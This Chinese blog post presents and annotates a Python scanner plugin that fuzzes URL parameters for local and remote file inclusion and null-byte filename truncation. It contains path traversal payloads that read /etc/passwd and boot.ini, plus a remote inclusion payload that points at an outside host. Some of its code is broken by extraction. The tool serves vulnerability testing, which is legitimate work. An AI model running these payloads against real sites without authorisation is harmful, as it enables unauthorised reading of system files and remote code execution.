php本地文件包含 截断,脚本本地/远程文件包含/读取及文件名截断漏洞FUZZ工具详解...

脚本的文件包含漏洞可以说是层出不穷,苦于市面上没有好的功能全面的有针对性的开源工具做参考,现在就文件包含的几种典型漏洞为例子。

此插件可以本地测试运行当做一个fuzz工具,也可以在bugscan上做为一个功能模块运行

代码如下,要以先看assign函数,再看audit函数,注释详细清晰:

#!/usr/bin/env python

# -*- coding: utf-8 -*-

# 脚本语言本地/远程,文件包含/读取, 文件名截断漏洞FUZZ工具

import re

import urlparse

import urllib

import os

# 此函数会在爬虫扫描过程中调用,为任务派遣函数

def assign(service, arg):

# 只接收链接

if service != "www":

return

# 分析链接,看有没有查询参数

r = urlparse.urlparse(arg)

pairs = urlparse.parse_qsl(r.query)

# 如果参数过多,超过6个,效率起见,放弃此链接

if urlparse.urlparse(arg).query.find('=') == -1 or len(pairs) > 6:

return

# 返回True表始接收任务,arg是要调度器传给audit函数的参数

return True, arg

# 远程文件包含的FUZZ函数

def check_rfi(action, query, k, v, normal_res):

# 要判断两次,第一次,传全参数列表进去,第二次,只FUZZ一个参数,其它参数不传

for i in range(2):

# 网上总结的一组经典列表,以(路径,签名)做列表

paths = [

('../../../../../../../../../../etc/passwd', '/bin/(bash|sh)[^\r\n<>]*[\r\n]'),

('../../../../../../../../../../etc/passwd%00', '/bin/(bash|sh)[^\r\n<>]*[\r\n]'),

('http://cirt.net/rfiinc.txt?', '

phpinfo'),

('c:/boot.ini', '\[boot loader\][^\r\n<>]*[\r\n]'),

]

for inj, fingerprint in paths:

qsl = []

# 第一轮fuzz,完整提交全部参数

if i == 0:

for key, val in query:

# 如果参数key为要fuzz的,替换为路径

val = inj if (key==k) else val

qsl.append((key, val))

else:

# 第二轮fuzz, 只提交要fuzz的参数,其它不提交

qsl.append((k, inj))

# 经合成URL

qs = urllib.urlencode(qsl)

url = '%s?%s' % (action, qs)

# 发送请求

code, head, res, _, _ = curl.curl(url)

debug('[%03d] %s', code, url)

# 开始查询是否包含签名内容, 如<?php <%

# 如果指定的签名在fuzz过程中找到,而没有在正常的网页里找到,说明漏洞存在

if re.search(fingerprint, res) and (not re.search(fingerprint, normal_res)):

# 记录一个报告

security_warning(url)

# 中断fuzz

return True

# 本地文件包含的fuzz函数

def check_lfi(action, query, k, v, files, suffix, flags):

filter = {}

# 默认情况下,只测试两轮,像远程文件包含一样

loop = 2

# 如果参数有文件后缀,测试三轮,第三轮测试文件后缀截断漏洞(附加%00)

if suffix:

loop = 3

# 开始fuzz

for i in range(loop):

for file in files:

# 如果是第三轮,循环以0开头(0,1,2), 在后缀后加上\x00测试是否有文件名截断漏洞

if i == 2:

file += '\x00.' + suffix

# 构造查询结构

qsl = []

# 第一轮,提交全部参数

if i == 0:

for key, val in query:

val = file if (key==k) else val

qsl.append((key, val))

# 第二轮,只提交FUZZ的参数

else:

# next loop only test one argments

qsl.append((k, file))

# 构造URL

qs = urllib.urlencode(qsl)

url = '%s?%s' % (action, qs)

# 这里加了一个过滤器,防止产生重复的URL

if url not in filter:

filter[url] = True

# 请求URL

code, head, res, _, new_url = curl.curl(url)

debug('[%03d] %s', code, url)

# 开始查询是否包含签名内容, 如<?php <%

for w in flags:

if re.search(w, res):

# 发现漏洞,上传报告,并返回

security_warning(url)

return True

def audit(arg):

# arg为assign传过来的链接,为一个带参数查询的URL

url = arg

r = urlparse.urlparse(url)

# 取出?号前面的地址

action = urlparse.urlunsplit((r.scheme, r.netloc, r.path, '', ''))

# 取出参数的key

pairs = urlparse.parse_qsl(r.query)

# 以下参数,为.NET的内置参数,自动跳过,不判断

reject_key = ['__VIEWSTATE', 'IbtnEnter.x', 'IbtnEnter.y']

# 请求action, 保存一个返回内容的快照到normal_res

code, head, normal_res, _, _ = curl.curl(action)

# 尝试每个参数是否有远程文件包含漏洞

for k, v in pairs:

# 跳过指定的内置参数

if k in reject_key:

continue

# 如果发现参数有漏洞,返回

if check_rfi(action, pairs, k, v, normal_res):

return

# 尝试每个参数是否有本地文件包含读取漏洞, 以当前文件名做为包含文件,传递

# 获取当前URL的快照,搜索内容来获取有效的用来判断是否利用成功的签名,如:<?php , <%

code, head, res, _, _ = curl.curl(url)

flags = []

for w in ['

if not re.search(w, res):

flags.append(w)

# 没有找到可以使用的签名,返回

if not flags:

return

paths = ['.', '..', '../..', '../../..', '../../../..', '../../../../..']

files = []

# 获取URL的文件名

filename = r.path.split('/')[-1]

# 保存到要fuzz的文件列表里

files.append(filename)

# 保存一组递归目录列表,如./a.php, ../a.php, ../../a.php

for path in paths:

files.append(path + '/' + filename)

# 保存一组递归的完整文件列表如, /../news/show.php, /../../news/show.php

for path in paths:

files.append(path + r.path)

# 开始遍历参数进行fuzz

for k, v in pairs:

# 跳过内置的参数

if k in reject_key:

continue

# 如果参数值里面找到类似a.jpg这样文件名特征, 获取文件后缀到suffix里面去

suffix = ''

if v.find('.') != -1:

suffix = v.split('.')[-1]

# 开始fuzz本地文件包含漏洞

if check_lfi(action, pairs, k, v, set(files), suffix, flags):

return

# 测试代码开始

if __name__ == '__main__':

# 调入SDK模拟环境

from dummy import *

# 模拟调试器传入参数,测试审计函数

audit(assign('www', 'http://demo.webravor.com/kj.jsp?url=lionsky.txt')[1])

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值